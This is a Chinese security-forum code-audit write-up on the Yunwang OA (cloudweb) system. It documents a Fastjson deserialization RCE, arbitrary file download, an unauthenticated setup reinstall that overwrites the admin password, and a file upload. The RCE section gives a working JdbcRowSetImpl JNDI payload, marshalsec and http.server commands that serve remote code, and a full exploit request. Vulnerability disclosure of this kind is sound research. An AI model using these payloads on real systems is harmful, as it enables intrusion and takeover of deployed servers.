云网OA代码审计
relay 发表于 陕西 漏洞分析 1700浏览 · 2024-01-26 01:42

FastJson Rce

项目中使用到的是fastjson1.2.37版本。

漏洞点在: 这里使用到了ParseObject方法。

com.cloudweb.oa.controller.updateUiSetup

使用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI监听。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 1389

开一个python web服务。

python -m http.server 8000

payload如下:

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit", "autoCommit":true}}

请求包如下:

POST /oa//setup/updateUiSetup HTTP/1.1
Host: 192.168.0.7:8096
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skincode=lte; name=admin; pwd=; JSESSIONID=85F37A117572BE90EA4BA0ED10F77EF5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 196

uiSetup={"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit", "autoCommit":true}}

可以看到接收到了uiSetup参数:

最终反序列化执行:

任意文件下载

功能点在模板列表这里,这里有一个下载文件的功能。


点击下载抓包:

可以看到这里需要传递进去一个fileName的参数。


定位到功能点如下:

com.cloudweb.oa.controller.ReportController

来到download方法。这里会发现它拼接的是你mysql的路径,所以我们将11.txt文件放到它的上级目录进行下载。

这里的路径是你在setup安装的时候那个路径。


可以看到成功下载:

未授权+覆盖管理员密码

首先我们查看Spring Security的配置文件发现,setup路劲是直接放开权限的。


那么我们是不是可以给他重装呢?

访问到setup目录,这里需要设置你服务器mysql的ip以及账号和密码。


需要注意的是mysql默认不允许外网去访问的,所以需要去设置一下mysql这个库。

update user set host= '%' where user='root'


然后将数据库导入进来即可。

source C:\Users\Admin\redmoonoa.sql

现在我们就可以开始重装了,这里的没有改之前密码是123456,然后重装之后密码就变成111111了。

成功登录。

鸡肋的任意文件上传

我们在setup的时候会发现可以设置上传文件的路径,经过测试发现我们可以设置一个网站跟目录然后进行访问。

这里我们将文件目录设置为:

C:\Users\Admin\Downloads\yimioa-oa_git8.0\out\embed\weixin\message


点击设置进行保存。

然后选择系统里面有一个上传的配置,我们全部置空表示任何类型都可以上传。


然后我们选择微信配置。


这里有一个应用主页,将后面的路径复制出来。


拼接到跟路径然后选择应用。


选择代办流程,然后随便选择一个流程项目。

这里点击上传即可。


上传文件之后的路径就是我们前面重装的时候设置的,他会生成一个FileUploadTmp目录。

可以看到文件名是通过时间戳 + 随机值来生成的。

前面10位就是时间戳后面是随机值。


尝试访问:


文件名我们无法控制所以有点鸡肋。

0 条评论
某人
表情
可输入 255